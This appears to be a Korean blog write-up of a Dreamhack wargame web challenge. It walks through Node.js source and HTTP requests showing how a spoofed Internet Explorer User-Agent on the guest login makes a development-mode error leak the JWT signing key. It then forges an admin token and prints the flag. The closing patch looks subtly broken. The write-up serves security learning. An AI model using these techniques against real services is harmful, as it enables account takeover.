https://dreamhack.io/wargame/challenges/783
이번에 풀어볼 문제는 드림핵 2레벨입니다.
서버의 개발자가 개발용 서버를 배포해버렸다고 하네요.
let database = {
guest: "guestPW",
admin: cryptolib.generateRandomString(15),
}; //don't try to guess admin password
데이터베이스에 저장된 계정 정보는 guest:guestPW와 admin은 패스워드를
랜덤한 15자리 문자로 초기화해둔 상태입니다.
const generateRandomString = (length) => {
var q = "";
for (var i = 0; i < length; i++) {
q += "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(
""
)[parseInt((crypto.getRandomValues(new Uint8Array(1))[0] / 255) * 61)];
}
return q;
};
이때의 랜덤한 15자리는 알파벳 대소문자와 숫자를 포함한 자리이기 때문에
브루트포스로 맞추는 것은 어려움이 있어 보입니다.
app.get("/", async (req, res) => {
try {
let token = req.cookies.auth || "";
const payloadData = await cryptolib.readJWT(token, "FAKE_KEY");
if (payloadData) {
userflag = payloadData["uid"] == "admin" ? flag : "You are not admin";
res.render("main", { username: payloadData["uid"], flag: userflag });
} else {
res.render("login");
}
} catch (e) {
if (isDevelopmentEnv) {
res.json(JSON.parse(parsetrace(e, { sources: true }).json()));
} else {
res.json({ message: "error" });
}
}
});
최상위 경로로 접근했을 때 로직입니다.
쿠키의 auth 값이 들어오면 그 값을 token으로 하고 없으면 공백으로 설정합니다.
readJWT 함수에는 토큰값과 KEY값을 받아서 그 값을 payloadData로 할당합니다.
const readJWT = async(data,key) =>{
const decoder = new TextDecoder()
const isVerified = await verifyJWT(data,key)
if(isVerified){
let payload = data.split(".")[1]
return JSON.parse(decoder.decode(b64Lib.decode(decodeurlsafe(payload))).replaceAll('\\x00',''))
}else{
return false
}
}
readJWT는 이름 그대로 JWT 토큰으로부터 유효한 가운대 자리의 데이터를 가져와서
그 데이터를 파싱하는 역할을 합니다.
만약 파싱해서 가져온 유효한 데이터가 admin일 경우에는 플래그를 출력하고
admin이 아닐 경우에는 플래그를 출력하지 않는 로직으로 되어 있습니다.
app.post("/validate", async (req, res) => {
try {
let contentType = req.header("Content-Type").split(";")[0];
if (
["multipart/form-data", "application/x-www-form-urlencoded"].indexOf(
contentType
) === -1
) {
throw new Error("content type not supported");
} else {
let bodyKeys = Object.keys(req.body);
if (bodyKeys.indexOf("id") === -1 || bodyKeys.indexOf("pw") === -1) {
throw new Error("missing required parameter");
} else {
if (
typeof database[req.body["id"]] !== "undefined" &&
database[req.body["id"]] === req.body["pw"]
) {
if (
req.get("User-Agent").indexOf("MSIE") > -1 ||
req.get("User-Agent").indexOf("Trident") > -1
)
throw new Error("IE is not supported");
jwt = await cryptolib.generateJWT(req.body["id"], "FAKE_KEY");
res
.cookie("auth", jwt, {
maxAge: 30000,
})
.send(
"<script>alert('success');document.location.href='/'</script>"
);
} else {
res.json({ message: "error", detail: "invalid id or password" });
}
}
}
} catch (e) {
if (isDevelopmentEnv) {
res.status(500).json({
message: "devError",
detail: JSON.parse(parsetrace(e, { sources: true }).json()),
});
} else {
res.json({ message: "error", detail: e });
}
}
});
그 다음 validate 경로로 접속했을 때의 로직입니다.
parsetrace는 무슨 함수인지 정의되어 있지는 않습니다.
나와있지는 않지만, 서버에서 처리하는 로직을 통해 추론하면 예외처리 상황에서
해당 예외의 내용을 삽입하여 오류코드로 반환해주는 디버깅용 함수인 것 같습니다.
try {
let contentType = req.header("Content-Type").split(";")[0];
if (
["multipart/form-data", "application/x-www-form-urlencoded"].indexOf(
contentType
) === -1
)
첫번째 예외처리로는 content-type의 형식이
multipart/form-data와 application/x-www-form-urlencoded 둘중 하나에 속하지 않는 경우
예외 상황이 발생하여 오류상황으로 빠집니다.
POST /validate HTTP/1.1
Host: host3.dreamhack.games:21806
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www
Content-Length: 15
id=admin&pw=123
예를 들어 위처럼 존재하지 않는 컨텐츠 타입을 입력한 경우 아래와 같이 응답이 옵니다.
오류 메시지가 JSON 형태로 응답오고 있는데, 내용을 잘 보면 소스코드가 출력되고 있습니다.
현재는 error 항목에 content type not supported라고 나오고 있습니다.
다시 돌아와서 코드를 보면
try {
let contentType = req.header("Content-Type").split(";")[0];
if (
["multipart/form-data", "application/x-www-form-urlencoded"].indexOf(
contentType
) === -1
) {
throw new Error("content type not supported");
}
try 문에서 오류가 발생했을 때 error 키에 대한 데이터 값으로
throw new Error 함수에 들어가는 문구를 삽입한다는 것을 추론할 수 있습니다.
let bodyKeys = Object.keys(req.body);
if (bodyKeys.indexOf("id") === -1 || bodyKeys.indexOf("pw") === -1) {
throw new Error("missing required parameter");
}
그 다음으로는 body 영역에 오는 파라미터가 id와 pw가 존재하는지를 확인하고 있습니다.
만약 둘중 하나라도 존재하지 않는다면 이번엔 JSON의 error 데이터에
missing required parameter라는 문구가 출력될 것입니다.
POST /validate HTTP/1.1
Host: host3.dreamhack.games:21806
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
id=admin&pdw=123
위와 id와 pw가 아닌 id와 pdw를 입력하니 역시나 missing required parameter가 출력됩니다.
그 다음으로는 전체가 else 문으로 둘러쌓여 있습니다.
즉 Content-Type이 정상적이고 id 와 pw 파라미터가 수신된다면 다음의 예외상황으로
넘어간다는 것입니다.
if (
typeof database[req.body["id"]] !== "undefined" &&
database[req.body["id"]] === req.body["pw"]
) {
if (
req.get("User-Agent").indexOf("MSIE") > -1 ||
req.get("User-Agent").indexOf("Trident") > -1
)
throw new Error("IE is not supported");
jwt = await cryptolib.generateJWT(req.body["id"], "FAKE_KEY");
res
.cookie("auth", jwt, {
maxAge: 30000,
})
.send(
"<script>alert('success');document.location.href='/'</script>"
);
} else {
res.json({ message: "error", detail: "invalid id or password" });
}
요청한 id에 대한 값이 존재하는 값이며 id에 대한 데이터베이스의 패스워드 값이
요청한 pw와 동일하다면. 즉 로그인이 성공한다면 User-Agent의 값을 확인하여
MSIE라는 글자 혹은 Trident라는 글자가 있는지를 확인합니다.
그리고 이럴 경우 IE is not supported 라는 에러코드를 반환하며
디버깅 코드로는 데이터베이스로부터 패스워드를 가져오는 매핑데이터인 id와 암호키를 출력합니다.
이때 암호키는 JWT 토큰을 만드는 키이므로 이 값을 안다면 JWT 토큰 값을 조작하여
admin 계정에 대한 토큰을 생성할 수 있을 것입니다.
User-Agent 값에서 MSIE와 Trident 라는 값이 포함된다는 뜻은
인터넷 익스플로러를 사용하냐는 것을 의미합니다.
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
위와 같은 헤더를 추가함으로써 조건을 만족할 수 있습니다.
하지만 아래와 같이 User-Agent 값을 예외처리가 되게끔 설정한다고 해도
서버에서 오는 응답은 Invalid id or password 입니다.
이렇게 처리되는 이유는 서버에서 예외처리를 할 때
아이디와 패스워드가 일치하는지를 먼저 확인하고, 그 이후에
User-Agent를 확인하고 있기 때문입니다.
POST /validate HTTP/1.1
Host: host3.dreamhack.games:21806
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
id=admin&pw=123
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 53
ETag: W/"35-dM4Fvc5jtt8J0vfuMLnoXHoechA"
Date: Tue, 24 Sep 2024 04:24:18 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"message":"error","detail":"invalid id or password"}
즉 우리는 id와 pw 값을 먼저 서버의 데이터베이스에서 저장하는 값으로 전송해야 합니다.
그러면 우리는 어떻게 알까요?
알파벳 대/소문자 + 숫자가 포함된 랜덤한 15자리 비밀번호를 알아야 할까요?
중요한 것은 admin 계정으로 로그인 하는 것이 아니라
로그인 자체를 성공한다는 것이 중요합니다.
서버에서는 이미 guest:guestPW라는 값을 제공해주고 있음을 확인할 수 있습니다.
POST /validate HTTP/1.1
Host: host3.dreamhack.games:21806
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
id=guest&pw=guestPW
위와 같이 guest 계정으로 로그인을 시도하면서 User-Agent 값을 변조한다면
IE is not supported 예외상황이 발생하며 jwt 토근 생성에 필요한 비밀키가 노출되고 있습니다.
비밀키는 kitvP5j71fwycLz 입니다.
JWT 토큰 생성 사이트를 이용해서 비밀키 값을 입력한 뒤 uid 값을 admin으로 수정합니다.
그렇게 생성한 토큰을 쿠키값에 입력한 뒤 페이지를 새로고침 합니다.
플래그 : DH{N6d4UYf2zu7XooVGIk6C}
해당 취약점이 발생하는 이유는 먼저 개발용 서버를 배포했다는 것이 일차적입니다.
두번째로는 개발 서버라고 하더라도 어느정도의 보안 수준은 지켜져야 한다는 것입니다.
현재 서버에서는 아무런 데이터로 로그인 했을 때 로그인이 성공한다면
User-Agent 값을 체크하고 있는데, 이 부분을 admin 계정에 관한 로그인 성공으로 둔다면
취약점을 보완할 수 있을 것입니다.
왜냐하면 알파벳 대/소문자 + 숫자를 더하면 62자의 경우의수로 15글자를 만드는 것은
사실상 브루트포스가 불가능한 수준의 안전한 패스워드인데,
이것에 로그인이 성공해야지 중요정보가 디버깅 된다는 것은 안전하다고 볼 수 있기 때문입니다.
if (
typeof database[req.body["id"]] !== "undefined" &&
database[req.body["id"]] === req.body["pw"]
) {
if (
req.get("User-Agent").indexOf("MSIE") > -1 ||
req.get("User-Agent").indexOf("Trident") > -1
)
throw new Error("IE is not supported");
jwt = await cryptolib.generateJWT(req.body["id"], "FAKE_KEY");
res
.cookie("auth", jwt, {
maxAge: 30000,
})
.send(
"<script>alert('success');document.location.href='/'</script>"
);
} else {
res.json({ message: "error", detail: "invalid id or password" });
}
위와 같은 서버의 기존 취약한 소스코드는 아래와 같이 보완할 수 있습니다.
if (
typeof database[req.body["id"]] !== "undefined" &&
database[req.body["admin"]] === req.body["pw"] &&
req.body["id"] == "admin"
) {
if (
req.get("User-Agent").indexOf("MSIE") > -1 ||
req.get("User-Agent").indexOf("Trident") > -1
)
throw new Error("IE is not supported");
jwt = await cryptolib.generateJWT(req.body["id"], "FAKE_KEY");
res
[DreamHack] Relative Path Overwrite (1) | 2024.09.11 |
---|---|
[DreamHack] chocoshop (1) | 2024.09.09 |